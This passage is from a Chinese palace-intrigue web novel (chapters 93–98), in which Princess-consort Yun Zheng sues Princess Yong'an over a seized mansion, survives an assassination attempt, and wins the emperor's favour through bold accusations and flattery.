开战了!都准备好了吗? 大理寺卿好言好语的劝道,“锦云郡主,不如您跟永安长公主好好协商一下?” 云筝神色淡淡的,“我还要状告,永安长公主之女叶宜蓁,一个没品没级的白身,居然敢对我一个正二品的郡主动手,目无君王,目无法纪,视王法为无物。” 一个个帽子扣下来,不死也得脱层皮。 大理寺卿无声的叹息,看来今日不能善了。 云筝一双乌黑的眼睛盯着他,“大人,你怎么不说话?” 大理寺卿苦笑一声,为什么非跑来这里告状?都察院,京兆府都行啊。真是要命! “这案子我接了。” 不接不行,这么多人盯着呢,他一一吩咐下去。 “来人,去宫中汇报此事。” “去,传唤告永安长公主母女来大理寺。” 大理寺卿迟疑了一下,压低声音说道,“去明镜司跑一趟。” “是。” 消息传的很快,不一会儿,很多人家都知道了此事,纷纷跑过来看热闹。 而此时,永安长公主母女还一无所知。 他们坐在修葺一新的凉亭中,喝着茶,欣赏着琳琅满目的花草树木。 不得不说,云筝花大价钱请的匠师世家物超所值,建筑精妙绝伦,园林优美如画,每一处都见匠心,将建筑与园林巧妙融合为一体。 如今,都归她们母女了,得意! 叶宜蓁轻轻推了三皇子一下,“三表兄,你发什么呆?娘在跟你说话呢。” 正在发呆的三皇子抬起头,冲对面的永安长公主笑了笑。 永安长公主见他魂不守舍,有些不喜,但嘴上夸道,“小三,你是个好的,我会在你父皇面前多夸夸你。” 三皇子精神一震,站起来行了一礼,“多谢姑姑。” 永安长公主温和的笑道,“以后,帮我多照顾蓁蓁,她是我唯一的女儿,等我百年后,我的一切都是她的。” 三皇子拍着胸口保证,“姑姑放心,蓁蓁就是我的亲妹妹,谁敢欺负她,就是我的敌人。” 叶宜蓁眼珠一转,“三表哥,这话是你说的,云筝把我害惨了,你想个法子毁了她。” 三皇子愣了一下,“毁了她?” 叶宜蓁将自己的不幸遭遇都记在云筝头上,“对,我要她名声扫地,容颜尽毁,生不如死。” 三皇子在心里暗暗吐槽,最毒妇人心,她也不是什么好东西。 “九皇叔他……” 叶宜蓁眼神闪了闪,“你怕什么?你是他的亲侄子,云筝不过是他养的狗,他还能为了一条走狗伤害自己的至亲?” “小三,你九皇叔看似无情,其实是最重情的, 嘴上叫的再凶,也不会动自己的亲人。” 母女俩极力蛊惑三皇子对云筝出手,但,三皇子也不傻,没有实质的好处,他怎么可能出头? “九皇叔确实是个重情重义的人。” 他说着自己都不相信的话,心思已经飞远了,云筝真的能忍下这口气? 以她不肯吃亏的性子,连他都敢怼,还能怕一个长公主? 他总觉得,事情没有那么简单。 他又发呆了,永安长公主很不满,这是什么态度? 就在此时,一群人匆匆走过来,为首的管家急急的叫道,“主子,大理寺来人了。” 永安长公主的目光落在管家身后的衙役身上,“何事?” 衙役恭敬的行了一礼,“奉大理寺卿之命,传唤永安长公主和叶宜蓁前往大理寺。” 三人都呆住了,啥?传唤? 叶宜蓁冷笑一声,“开什么玩笑?区区一个大理寺卿也敢这么对长公主?娘,别理他们。” 永安长公主眉头紧皱,“为何传唤我们?” 衙役拱了拱手,“锦云郡主敲响鸣冤鼓,把你们两位告了,状告你们侵占她的府邸。” “还状告叶宜蓁,目无君王,目无法纪,视王法为无物。” 短短两句话,却掀起惊天巨浪。 叶宜蓁吓白了脸。 永安长公主脸色大变,不敢置信,“她怎么敢的?” 三皇子反而有种靴子落地的踏实,他就说嘛,云筝是不肯吃亏的性子,永安长公主如此羞辱她,她不发疯才怪。 “她有什么不敢的?得罪了她,她什么都干的出来,姑姑,您不了解她。” 永安长公主猛的回头,“你早就料到了?” 三皇子摊了摊手,“那倒没有,她行事向来不按牌理走,但,她是死也要拖着敌人一起死的人。” 永安长公主板着一张脸,“去告诉你家大人,就说,这是无稽之谈,皇上亲赐给本宫的府邸,就算官司打到皇上面前也没用,本宫是不会去的。” 衙役很为难,但长公主态度强硬,他们一点办法都没有。 外面传来一阵急促的脚步声,几个全副戎装的男人气势汹汹冲进来。 三皇子一眼就认出来者的身份,“明镜司的人来了。” 为首的男人行了一礼,“谷雨见过三皇子,见过长公主。” 至于叶宜蓁,他看都没看一眼,更不用说行礼了。 长公主面有不豫之色,“你这是来干吗?” 谷雨神色严肃极了,“奉九千岁之命,请长公主和令爱移驾大理寺。” 叶宜蓁气不打一处来,“我们若是不去呢?” 谷雨微微一笑,“那他会亲自带人送两位过去,届时,会发生什么事,就不好说了。” 三皇子赶紧劝道,“赶紧去吧,到时被五花大绑送过去,就难看了。” “他敢!”永安长公主怒喝一声,站了起来,“罢了,本宫就陪那个贱人玩玩,本宫倒要看看她能翻出什么风浪。” “请。” 赶往大理寺的路上,叶宜蓁有些惶恐,“娘,真的没事吗?” 长公主有恃无恐,“你怕什么?皇上金口玉言,谁敢推翻?” 大理寺门口,已经是人山人海,不光百姓们围观,官员们,女眷们都跑来凑热闹。 “长公主来了。” 长公主推开人群走进去,一眼就看到坐在堂前的云筝。 长公主眼眸一沉,大声怒喝,“云筝,你好大的胆子,居然敢状告当朝长公主。” 云筝抬起头,冲她微微一笑,挑衅意味十足。 开战了!准备好了吗? 第94章 那,就开战!(上) 云筝全然不惧,“王子犯法,与庶民同罪,长公主倒行逆施,强取豪夺,是皇室之耻,怎么就不能告了?” 每一个字都如淬了毒般,化为利箭刺向永安长公主的心窝。 永安长公主眼中闪过一丝杀机,咬牙切齿的说道,“你很好。” 很久没遇到这么张狂的人了,胆子够肥。 云筝淡淡一笑,“我当然很好,你就很不好,尽干缺德事,给皇家脸上抹黑。” 众人:…… 长公主:…… 她气的浑身哆嗦,“你说什么?再说一遍。” 大理寺卿一拍惊木堂,“要吵就出去吵,在这里,本官说了算。” 他决定速战速决,赶紧了结此案。 “长公主,锦云郡主状告你霸占她的府邸,可有此事?” 永安长公主神色极为坚定,“没有,府邸是皇上赐给我的,大人若不信,可以去问皇上。” 她说的很笃定,大家茫然四顾。 大理寺卿已经让人去了皇宫,只等宫中消息。 他大声问道,“锦云郡主,你可有什么证据?” 云筝早有所准备,拿出两张纸,展示给所有人看,“有,这是房子的地契,房契,上面清楚的写着我的名字。” 她做事向来滴水不漏,在拿到房子后,当日就在衙门备案,走完所有的流程。 这也是她敢冒天下之大不韪,公然状告长公主的底气。 所有人都看到了,得,这就是锦云郡主的房子! 永安长公主怎么回事?她不该是强抢别人房子的人啊,她没有那么浅薄。 叶宜蓁脑袋一热,大声否认,“这是捏造的,大人,不如严刑侍候吧,她会老实交待。” 大理寺卿对她没有什么好感,冷声喝道,“住口,是你审案?还是本官审案?” 永安长公主将叶宜蓁护在身后,温声道,“她年纪小,不懂事,还请大人恕罪。” 叶宜蓁眉头紧皱,娘为什么对一个小小的大理寺卿如此客气?难道他有什么特殊身份? 大理寺卿板着脸,“已为人妇,年纪不小了,若再有下次,休怪本官无情。” 他义正言辞的样子,让叶宜蓁咬碎了银牙。 云筝嘴角轻轻扬起,“衙门也有备案,请大人派人去查。” 大理寺卿让属下去调档案,不一会儿,属下就捧着资料回来了,“禀大人,衙门备案过了,确实是锦云郡主的房产。” 大理寺卿翻看这些资料,“证据确凿,没有造假,这确实是锦云……” 永安长公主气定神闲,清咳一声,“先别急着判案,本宫已经让人去请示宫中。” 云筝眼珠一转,“大人,去请户部尚书过来,是他亲自帮我办的手续,他是很重要的证人。” 两人对视一眼,火花四溅,互不相让。 在等待期间,云筝喝着香茶,气定神闲,胸有成竹。 永安长公主神色莫名,喜怒不形于色。 而叶宜蓁看看这个,看看那个,脸色变来变去的。 隐在人群里的三皇子在四处寻找九千岁的身影,他怎么不在? 不知过了多久,“户部尚书来了。” 身着官服的户部尚书走了进来,后面还跟着一个工部侍郎。 大理寺卿温声问道,“尚书大人,听锦云郡主说,这是您帮她办的过户手续?” 户部尚书拱了拱手,“是,这宅院一直空置着,房屋早就破败不堪,野草丛生,这些年没有人过问。” “直到前不久,皇上赐锦云郡主一座郡主府,恩准她在户部空置的房产中挑一套,她挑中了这一套。” 他条理清楚,将整个过程说的很明白。 大理寺卿继续问道,“你是说,这宅院已经由锦云郡主接手?” “对。”户部尚书微微颔首。 工部侍郎走上来,“自从锦云郡主接手后,重金请了雷家设计督造,还请了我工部的工匠们干活,已经有不少日子。” 两位大人将事情说的很清楚,永安长公主定定的看着他俩,眼神微闪。 人群一片哗然,就是说,锦云郡主接手这一套房子是合法合规的,有房契地契在手。 而且,她已经在房子上花了很多银子和心血。 “有些人太不要脸了,居然强取豪夺,强行霸占郡主的房子。“ “早不抢,晚不抢,偏偏在这种时候抢,这分明是故意的。” “对,房子破败不堪时瞧不上,郡主将房子修葺的漂漂亮亮,有人却来摘桃子,无耻啊。” 不敢直呼永安长公主的名,但,大家都知道是指谁。 “这位不缺银子吧,为什么要这样?” “还能为什么?为自己上不了台面的女儿出口气呗。” “永安长公主当年为了国家挺身而出下嫁镇南王,可现在怎么变成这样了?好失望。” 就在此时,永安长公主等待的人终于现身了。 “养心殿太监副总管来了。” 太监副总管姓赵,一进来就冲长公主行礼问安。 永安长公主矜持的点头,“免礼。” “副总管,你来为本宫作个证,本宫可不想背这个黑锅。” 赵公公看向四周,最后视线落在云筝脸上,眼神微冷。 “永安长公主这些年一直住在远郊的女观,京城并没有公主府,就在前不久长公主特意进宫求皇上恩典,赐她一所宅院。” “皇上就将这座前朝公主府邸赐给了永安长公主,都是公主府,规格一样,各方面都很合适。” 他的话看似没有偏向,其实明眼人一听就知道,是偏着永安长公主的。 在场的人懵逼了,什么情况? 户部把房子给了锦云郡主,而皇上将房子赐给永安长公主,这么说,两人都没有错? 只是,这双方都不通气的吗? 但,总觉得哪里不对劲。 永安长公主嘴角噙着一抹矜持的笑,“大人,还有什么比皇上金口玉言更有威信的?您这是要抗旨不遵吗?” 这话一出,大理寺卿很为难,“这……” 赵公公冷冰冰的说,“没人可以伤了皇上的体面,锦云郡主也不行,请大人速做决断。” 他是代表皇上而来,他的态度就是皇上的态度。 大理寺卿无声的叹息,这次锦云郡主只能认栽了。 “既然如此,那……” 云筝挑了挑眉,扬声道,“我不服,除非,皇上亲口说,衙门登记的房契地契不作数,不受朝廷保护。” 全场皆惊,几位重臣瞠目结舌。 谁敢说房契地契不作数?皇上也不行啊,那是挑战一个国家的根基和律法。 一旦否认,这个国家的信用瞬间崩塌!灭国就不远了! 永安长公主勃然大怒,“你好大的胆子,公然跟皇上对着干,来人,把她拖下去重打三十大板。” 侍卫们如狼似虎的扑向云筝,云筝神色如常,站着不动,忽然,嘴角扬起一抹狡黠的笑。 她要放大招了! 上,杀手锏! 她红唇轻启,喊出一句让永安长公主毛骨悚然,众人惊恐万状的话…… 第95章 那,就开战!(中) 云筝吼了一声,“永安长公主试图染指皇权,让她的宝贝女儿当皇太女,要改朝换代。” 这一嗓子吼的所有人都吓懵了。 永安长公主的表情一寸寸龟裂,嘴唇直哆嗦,她不讲武德! 踏马的疯子! 叶宜蓁打了个冷战,下意识的抱紧自己,救命啊,谁来救救她。 这话传到皇上耳朵里,她会死的很惨。 隐在人群中的三皇子沉默了,你说你惹她干吗? 她是真的敢玉石俱焚! 你不给她活路,她也不会给你活路的! 永安长公主再也端不住架子,气恼的喝道,“我没有,你不要胡说八道。” 云筝冷笑一声,“那是前朝长公主的府邸,那位长公主是怎么死的?” 别人还没有反应过来,几位朝廷重臣的脸色微变,而永安长公主猛的瞪大眼睛。 人群里爆出一声,“是伙同皇子一起造反。” 云筝板着俏脸,“对,是造反,永安长公主不择手段强取豪夺都要拿下那宅子,说明,她野心勃勃,决定效仿那位前朝公主啊。” 这理由有点牵强,但,就看别人信不信了。 反正,现场一半的人是信了。 永安长公主后背一阵发寒,皇上的猜忌之心有多重,她是最清楚的。 若是,勾起了皇上的疑心,那就麻烦了。 “一派胡言。” 云筝冷哼一声,“就问你,为什么非要那宅子?” 永安长公主面色铁青,难道当着所有人的面说,她是故意抢云筝的宅子,羞辱她吗? 还是说,故意拿云筝立威,警示文武百官,她依旧是深得圣宠的长公主。 谁得罪她,这就是下场! 这事能做,但,不能挑明说,只能意会。 叶宜蓁慌了手脚,急中生智,“我娘喜欢那府里的风景。” 云筝大声嘲讽道,“呵,荒废多年全是野草,哪来的风景?这理由连三岁的孩子都骗不过去。” “长公主,我知道,你心中全是怨恨,恨先皇不公,将你远嫁到镇南王府,吃了不少苦。” “恨当今圣上不仁,得了你的好处,却没有封你为镇国长公主。” 她每一句话都带着锋芒,字字犀利如刀。 “我都知道,但,两位圣人都是为了国家啊,你身为公主,受天下百姓供养,就得承担起责任,怎么能恨他们而起了反心?” 她越说越像一回事,永安长公主脑袋嗡嗡作响,只有一个念头。 “杀了她,杀了她。” 她的侍卫们又一次冲向云筝,云筝的手下不甘示弱,打了起来。 狭小的空间乱了套,一片混乱。 云筝大声嚷嚷,“不好,永安长公主要杀人灭口。” 她一边喊,一边扑向公堂后面的屋子。 “九千岁,救命啊。” 门打开了,明镜司众人簇拥着轮椅的男人走出来。 厉无恙冷喝一声,“统统住手,胆敢违令者,杀!” 两方立马停下来,现场静的出奇,户部尚书第一个躬身行礼。 “见过九千岁。” 其他人如梦如醒,纷纷行礼。 永安长公主气怒攻心,大声命令道,“九皇弟,你来的真好,快把这妖言惑众的家伙抓起来。“ 厉无恙冷冷的看着她,“二皇姐,这朝庭何时轮到你做主?大理寺何时成了你的一言堂?” 永安长公主恨不得立马将云筝杖毙,今日她和她之间,只能活一个。 “九皇弟,你别包庇她了,她确实做错了事情,国有国法,家有家规。” 厉无恙神色凝重,“就算她做错事情,也只有帝后能惩罚她,她是郡主,你只是一个没有实权的长公主,没有诛杀勋贵的权利。” 永安长公主的脸瞬间铁青。 云筝嘴角上扬,md,居然想废了她,太恶毒了。 “对了,我做错了什么?“ 她表情夸张的大声说道,“啊,我知道了,我错在太要脸,没有你们的厚颜无耻。” ”可,我学不会啊。” 永安长公主闭了闭眼,强压住疯狂的杀意。 ”谁允许你这么说话的?你只是一个郡主,我是公主,你是以下犯上。“ 厉无恙不等她说完,就打断道,“二皇姐,身为宗室,就要守着宗室不掺和朝政的规矩,手不要伸的太长。” “不知道的还以为你是摄政太后。” 云筝凉凉的补刀,”什么摄政太后?她可看不上,她想把所有皇子干掉,自己当女皇。” 人群里的三皇子微微蹙眉,又不是没有前例。 永安长公主气的吐血了,直到此时,她才正眼看云筝,才意识此女有多难缠。 一言不合就发疯! 赵公公眉头紧皱,见势不妙,大声喝道,“锦云郡主,没有证据的话不能乱说,你这是诋毁当朝长公主。” “长公主的赤胆忠心,天下人都知道,皇上也知道。” 云筝还会怕一个太监? 她尖锐的质问,“那皇上知不知道,他成了永安长公主手中的刀啊,用来诛杀功臣,让天下人寒心,从而顺理成章取而代之啊。” “好恶毒的权谋。” 这话也没错,永安长公主就是仗势欺人,仗的是谁的势?皇上啊。 赵公公目瞪口呆,他见识还是太少了。 “锦云郡主,你这是污蔑!” 云筝猛的瞪大眼睛,面有惊恐之色,“你不会是被长公主收买了吧?天啊,你可是皇上身边亲信的太监公公,你们这是想干什么?” 永安长公主有种不好的预感,赶紧喝止,“够了。” 云筝不理她,继续大声质问,“这是想窥视帝踪,给长公主通风报信?还是打算在皇上茶里下毒?” 条条死罪!桩桩要命! 赵公公:……还让不让人活了? 长公主:……都毁灭吧! 就在此时,一支暗箭对准了云筝的眉心,破空而来。 “云筝,小心。” 云筝黑色瞳孔清晰的倒映着利箭,箭头泛着不祥的冷芒,带来窒息般的寒意。 半寸,离她的眉心只有半寸,空气仿佛凝固了…… 第96章 那,就开战!(下) 说时迟,那时快,一道劲风袭来,一颗佛珠打歪了长箭,而云筝这些日子的锻炼也让她的身体反应极快, 迅速朝后仰去。 长箭擦着云筝的头皮飞向柱子,重重扎了进去,入木三分。 明镜司的高手们不约而同飞扑出去,同一时间,一个手持弓箭的男子从暗处窜起,疯狂逃窜。 前方,又杀出几名明镜司,将男人拦在中间,前后夹击。 事出突然,大家推搡奔跑,乱作一团,尖叫声不绝于耳。 叶宜蓁还没有反应过来,就被人推倒,重重摔在地上,她吓坏了,惊恐的求救,“娘,救我。” 但,永安长公主此时也自身难保,被几个侍卫护着,躲在柱子后面。 叶宜蓁看着推着轮椅的男人向她奔来,仿若溺水者看到了最后一根浮木,眼睛刷的亮了。 “舅舅,救我。” 没想到舅舅是嘴硬心软,嘴上再怎么讨厌她,关键时还会第一时间奔向她。 但,厉无恙听而不闻,在她身边经过,头也不回的冲向云筝方向。 叶宜蓁眼睁睁的看着他远去的身影,眼中的希望全化为了绝望,浓烈的仇恨从心底升起。 紫烟已经将云筝带到横梁上,将她牢牢护在上面。 厉无恙看着脸色发白的红衣女子,一颗心如被不知手的大手拽住,有些喘不过气来。 “你还好吗?” 云筝死里逃生,吓出一身冷汗,心脏怦怦乱跳,但还强撑着,“我没事。” 她的脆弱和眼泪从不在人前展示,因为,敌人只会觉得你软弱可欺,更加肆无忌惮。 厉无恙的眼神一凝,“你受伤了 。” 云筝一抹额头,一手的血,但感觉不到疼痛。 “没事,只是擦伤,不幸中的万幸。” 厉无恙从怀里掏出一个玉瓶,扔过去,“是创伤药,涂上后很快止血,到时再让太医看看,配一款不留疤的药膏。” 云筝默默接过,让紫烟帮她涂在伤口上。 她看向厉无恙手腕处,空无一物,从不离身的佛珠没有了。 “多谢王爷出手相救。” 厉无恙深深的看了她一眼,眼神中有一丝说不清道不明的东西。 还没等云筝看清楚,他转过头,扬声喝道。 “大家都不要跑,统统蹲下,敢不听令者,杀。” 连喊了三声,才让陷入恐慌中的人听进去,纷纷蹲在地上。 户部尚书和工部侍郎见状,这才上前疏散人群。 这一边,已经控制住情势,另一边,刺客即将失手就擒时,绝决的咬下藏在牙齿中的毒,黑血顺着嘴角流下来,身体倒在地上,瞬间没有了呼吸。 谷雨救之不及,只能上前翻捡尸体,一无所获,不禁懊恼的一脚踢上去,随后转向厉无恙,“王爷,杀手服毒自尽了。” 他深吸一口气,“是死士。” 死士可不是一般人能养得起的。 厉无恙面沉如水,“彻查,挖地三尺也要挖出这一条线。” “是。” 云筝眉头紧皱,居然出动死士杀她,到底是谁? 她将怀疑的目光看向永安长公主,而此时,永安长公主蹲在叶宜蓁的面前,神色焦急而又担心。 “宜蓁,宜蓁,你怎么样?” 叶宜蓁刚才混乱时,被人踩了好几脚,疼的眼泪都下来了。 “娘,我好疼。” 一名侍卫稍微检查后,皱着眉头说道,“右腿骨折了,得赶紧接上。” 叶宜蓁的心底升起一丝绝望,她的左手废了,现在轮到右腿了吗? 老天对她是如此不公! 恨意如潮水般涌上来,她眼睛充血,“是云筝带来的灾难,她是个扫把星。” 永安长公主环视四周,大声喝道,“云筝,宜蓁若有个三长两短,我不会放过你的。” “走,先带小姐回府治疗。” 厉无恙右手一挥,明镜司将他们团团围住。 永安长公主又气又怒,“九皇弟,叫你的人让路。” 厉无恙神色冰冷的可怕,“二皇姐,你不该解释一下吗?” 永安长公主气的满面通红,“你什么意思?” 厉无恙指着这一片狼藉,“早不早,晚不晚,偏偏在这个时候锦云郡主刺袭,更像是替你解围的。” 这话一出,现场一静,气氛立马变了。 永安长公主咬牙切齿,“你胡说什么?是她走到哪里都得罪人,仇家太多,才招来了杀身之祸,关本宫什么事?” 云筝冷哼一声,“王爷,长公主跟皇上的亲信太监勾结,意图染指皇权的事,应该让皇上知道。” 她满口胡说,但架不住有人信啊。 尤其是生性多疑的帝王,宁可错杀三千,不可放过一个。 永安长公主瞳孔一缩,“九皇弟,你不会听这野丫头摆布吧?我都要怀疑你们俩的关系不一般了。” 她意有所指,厉无恙神色沉了下来,“来人,请永安长公主母女去明镜司做客。” 明镜司?叶宜蓁快崩溃了,打死她也不去那个鬼地方。 永安长公主高高昂着脑袋,倨傲无比,“我不去,除非,你敢亲自对我这个皇姐动手。” 就在双方剑拔弩张时,一个禁军侍卫冲了进来。 “皇上口谕。” 大家齐刷刷的垂首听令。 禁军侍卫大声宣读道,“传,睿亲王,永安长公主,锦云郡主,大理寺卿,叶宜蓁,进宫觐见。” 永安长公主心里有些不安,“小女的腿受伤了,不如先送她去医治?” “卑职奉命行事,请不要为难卑职。” 永安长公主也没办法,只能让人抬着叶宜蓁进宫。 一路上,云筝神色淡漠的看着两边的风景,不言不语。 紫烟看着这样的她,暗暗心惊,怎么看都像是暴风雨前的安静。 一行人经过层层检查,顺利进入宫中,被带到养心殿。 皇上正在批奏折,大家齐刷刷的行礼,叶宜蓁也咬牙坚持着,额头全是冷汗。 皇上微微抬头,一双冰冷的眼睛扫视众人。 气氛凝固时,云筝忽然来了一句,“皇上,你的皇太女叶宜蓁来了,快起来迎接。” 众人:……作妖,还得是你! 叶宜蓁只想立马晕过去,什么都不知道。 长公主目瞪口呆,她怎么敢疯成这样?怎么敢?! 第97章 恐怖如斯 皇上冷冷的看了叶宜蓁一眼,叶宜蓁只觉得遍体生寒,冷汗狂流,嘴唇抖个不停,想说话却紧张的说不出来。 永安长公主深吸一口气,上前福了福,“皇上,云筝疯了,她为了一己之私当众诋毁我这个长公主,全然没将皇室的威严放在眼里,还请皇上严惩。” 她是个聪明人,没有解释,也没有否认,这种事情是越描越黑。 “我这些年居住在女观,从不过问世事,却被云筝扣上无数罪名,恳请皇上还我一个清白。” 皇上冷冷的看向云筝,她真是欠揍,什么都敢说,仿佛没有明天般的不管不顾。 云筝笑嘻嘻的开口,“皇上,我刚质问赵公公,是不是被长公主收买了,想窥视帝踪,给长公主通风报信?还是打算在皇上茶里下毒?” 养心殿内殿外的人都吓坏了,恨不得捂住耳朵,这是他们能听的吗? 但,说话的人没心没肺的笑,“这话一出,我就遇刺了,您说巧不巧?” “那刺客居然是个死士,当场就服毒自尽了,您说巧不巧?” 死士是每一个帝王的大忌。 皇上闭了闭眼,不管是谁惹了她,她都会发疯,就这副死德性。 她浑身都是臭毛病,只有两点可取,一是忠心,只对他一人忠心,谁来拉拢她都没用。 二是会挣钱,百年难得一遇的经商奇才。 偏偏,这两样是他最在意的。 罢了,干嘛跟个小疯子计较? 也不能怪她,这些人惹谁不好,偏要去惹她? 副总管赵公公额头全是汗珠,扑通一声跪下,“皇上,老奴跟长公主没有任何关系,就是看不惯锦云郡主骑在皇室中人头上,才多说了一句。” 云筝呵呵一笑,“哦,被长公主抢了府邸,被长公主当成杀鸡儆猴的鸡,被长公主拿来震慑文武百官的工具,这叫骑在皇室中人头上?“ “不过,我很好奇,一个闲散公主为什么要震慑文武百官?” 长公主连忙矢口否认,“我没有。” 其实,只要明眼人,都能看出长公主心里的那点小九九。 皇上也不例外,所以,疑心全被勾了起来。 云筝直接了当的问道,“皇上,您事先知道那前朝公主府已经在我名下吗?” 皇上跟老狐狸们打交道弯弯绕绕,猜来猜去,反而喜欢这种直来直去的沟通方式,简单,明了。 “这种小事,朕不关心。” 云筝倒是不怀疑皇上说谎,没有这个必要。 “那,府邸是您选中的?还是长公主指名要的?” 皇上看向一边的赵公公,眼神冰冷,“是这狗奴才提议的。” 想来,那时已经被长公主收买了,这手伸的太长。 “朕是让你去说和,解决两家矛盾的,你倒好,打着朕的旗号偏帮一方,该死。” “来人,将他拖出去重重打。” 赵公公双腿一软,浑身发抖,可怜无助的看向长公主,长公主眼神回避。 皇上看在眼里,眼神幽幽,“二皇姐,你负责监刑。” 长公主浑身一颤,皇上这是在敲打她。“是。” 赵公公被拉到院子挨板子,开始还求饶,几板子下去,就渐渐安静了。 长公主眼睁睁看着赵公公被活活打死,四周的宫人对她避之不及的模样,心里一阵阵发寒。 这是对她的警告! 云筝还不肯放过她,“这些天,我花了重金请雷家人设计督造,请了工部工匠修葺,不是一天两天,而是快半个月了,文武百官都知道。” “长公主却堂而皇之的跟您索要这房子,不知是何居心?” 长公主板着一张脸,“本宫两耳不闻窗外事,什么都不知道。” 云筝看着她敢作不敢当的怂样,全然没有了刚才的嚣张,“你确定?” 长公主心中恨的咬牙切齿,“你还不值得我花心思。” 云筝冷笑一声,“可是,将锦云郡主府的牌匾砸了,换上永安长公主府牌匾的人是你啊。” 长公主闭着眼睛说瞎话,“是手下所为,我并不知情。” 云筝嘴角微微扬起,她已经摸到跟帝王相处之道了。 可能帝王自身心思太复杂,就喜欢简单直白,热烈又纯粹的人,直来直往,有话就说,有错就认。 像长公主这种在帝王面前说谎的态度,只会让帝王反感。 帝王可以负天下人,但天下人不能负他。 “对对,你什么都不知道,你最无辜最清白,就我和皇上是倒霉蛋,我被抢房子,皇上的清誉被毁。” 长公主不禁急了,“皇上,这真的是意外。” 见她还想糊弄自己,皇上心中越发不满,“将前朝公主府还给锦云郡主,收回永安长公主的食邑,永不开府。” 永安长公主如遭雷击,“若传出去,我何以立足?请皇上垂怜,收回成命。” 本朝公主是没有封地,也没有食邑,但当初出嫁时先皇特意赐她食邑千户,是诸公主中唯一的殊荣。 这也是她被各方高看一眼的原因之一。 云筝睁着一双好奇的大眼,“在哪里立足?朝堂吗?” “你……”长公主想掐死她,一根搅屎棍。 皇上冷冷看了她一眼,随后,视线落到她身后的叶宜蓁,叶宜蓁恨不得将自己缩成小团藏起来。 “叶氏,你受伤了?” 叶宜蓁瑟瑟发抖,“禀皇上,腿被乱民踩伤了,但,这一切全因云筝而起,她要为此负责,请皇上责罚。” 皇上眼神微凝,“曾侍卫,去替叶氏看看腿。” 一名侍卫从暗处走出来,“是。” 叶宜蓁刚想说男女授受不亲,侍卫一上来就捏住她的小腿,用力一折,一股剧疼如排山倒海般袭来,不禁失声尖叫,“啊啊啊。” 侍卫硬生生的打折她的腿,还捏碎了膝盖处的膑骨。 叶宜蓁疼的死去活来,但神奇的是,她居然没晕过去! 长公主脸色惨白如纸,扑通一声跪在地上,“皇上饶命。” 侍卫直起身体,“禀皇上,叶氏的膑骨都碎了,伤势严重,就算好了,也会落下残疾。” 皇上笑容温煦而又亲切,“既然伤的这么严重,就好好养着,没事别出来了。” 叶宜蓁呆呆的睁大眼睛,像看到魔鬼般惊恐万状。 她的皇帝舅舅居然就这么硬生生的让人打断她的腿,这是要彻底断了她的皇太女梦? 可,这是云筝瞎说的呀!傻子都不可能当真,为什么还这么对她? 云筝神色凝重,这就是至高无上的皇权,这就是帝王心术,残忍而又血腥。 宁可错杀三千,也不放过一个。 皇上冷冷的目光移过来,“云筝。” 云筝立马站直身体,心里直打鼓,不会也打断她的腿吧? “臣女在。” 皇上眼神凉凉的,“该怎么罚你呢?” 叶宜蓁大喜,好好好,不能她一个人受苦。 长公主只有一个想法,弄死她! 云筝脑袋转的飞快,眼珠一转,顿时有了好主意。 “皇上,就罚我……” 第98章 所以,她输在不会拍直白的马屁? 长公主在心里冷笑,皇上是天下共主,世间没有他要不到的东西,云筝靠什么能打动他? 不可能的!只有自寻死路! 她下意识的看向坐在轮椅上的厉无恙,但,让她失望的是,厉无恙依旧面无表情,像个不相干的人。 是她想多了? 云筝清亮的声音响起,“罚我帮您修帝陵,我出钱!大钱!” 皇上愣了一下,严肃的面容渐渐缓和下来。 不得不说,她精准的拿捏住了皇上的心理,皇上是权势滔天的至尊,但也有烦心事啊。 他登基后就开始为自己修建百年之后的寝陵,但,这些年资金不够,修修停停,每每想起就烦躁。 云筝见状,知道有戏,笑的更甜了。 “皇上,我挣的钱只给您花!” 皇上挑了挑眉,有些新奇,“只给朕花?” 云筝用力点头,还不忘打补丁。 “对,除了至亲至爱外,就只给您花钱,谁让您是我最最崇拜的君王,也是唯一让我效忠的帝王呢。” “像长公主这种只知道勾心斗角,哪能跟您这样雄才伟略的大帝相比?我都看不上她!” “皇上英明神武,爱护子民,堪比尧舜,为您花钱,我心甘情愿。” “长公主强取豪夺,想占我一文钱的便宜都不行,她不配!” 公然拉踩长公主,哄的皇上眉眼舒展,嘴角轻轻上扬。 嗯,识货,识务,懂事! 永安长公主气的浑身发抖,有没有搞错?居然踩着她讨好皇上? 看着皇上暗爽的表情,永安长公主更生气了,好家伙,敢情他吃这一套啊。 她从来不知道皇上是这么肤浅好哄的人! 呵,不就是有钱吗? 厉无恙眼中闪过一丝笑意,他就知道都不用自己出手,她就能将皇上哄好。 她似乎找到了跟皇上的相处之道,也精准拿捏住了皇上的内心需求。 谁不喜欢别人给他花钱呢?而且是独一无二的偏爱。 而且,云筝是女子,是异姓,对皇权没有一点威胁,皇上会相应的更宽容些。 皇上眉眼带笑,“不要这么说长公主,公众场合要注意分寸。” 云筝不走心的应了,“好的,只要她不惹我,我就私底下骂骂她。” 这是人话吗?永安长公主狠狠瞪了她一眼,“皇上,她太过分了。” 皇上只觉得云筝坦诚,不会一味的糊弄他。 “二皇姐,你都这把年纪了,怎么还跟一个孩子过不去?心胸不要那么狭窄,要宽容。” 永安长公主目瞪口呆,他疯了? 云筝笑眯眯的开口,“皇上,您帮我写个牌匾呗,我可不想再被人砸了,我要拿您的字镇一镇各方的妖魔鬼怪!” 这何尝不是在夸他有威望,皇上轻笑道,“不是写过了吗?” 云筝理直气壮的说道,“上次是云府,那两字被我裱起来了,这次是锦云郡主府。” 皇上假意抱怨,“就知道跟朕要东西,朕的字能随便给人吗?” 就在大家以为没戏时,皇上挥了挥手,“来人,笔墨伺候。” 他挥洒笔墨,一气呵成,写下锦云郡主府五个大字。 他随手扔给云筝,“赏你了。” 云筝笑嘻嘻的接过,对他竖起大拇指,“谢皇上,您的字越来越好看了,就一个字,绝!比那些所谓的书圣都要好看百倍,您是被帝位耽误的书法家。” 皇上矜持的笑了笑,“你还是有点眼光的。” 一个敢吹,一个敢信,也是没谁了。 长公主:……所以,她输在不会拍这种直白的马屁? 出了宫,云筝长长吐出一口气,回头看了一眼,这皇宫她是真的不爱来。 随后她看向永安长公主,“你也不过如此嘛,手下败将。” 她太嚣张了,把永安长公主气的够呛,“小人得志,你给本宫等着。” 云筝满不在乎的开口,“行,我等着,刺杀我这事还没完呢。” 扔下这句话,她带着人扬长而去。 马车内,叶宜蓁看着她远去的身影,眼中全是疯狂的恨意。 “娘,杀了她,找个人杀了她,立刻,马上。” 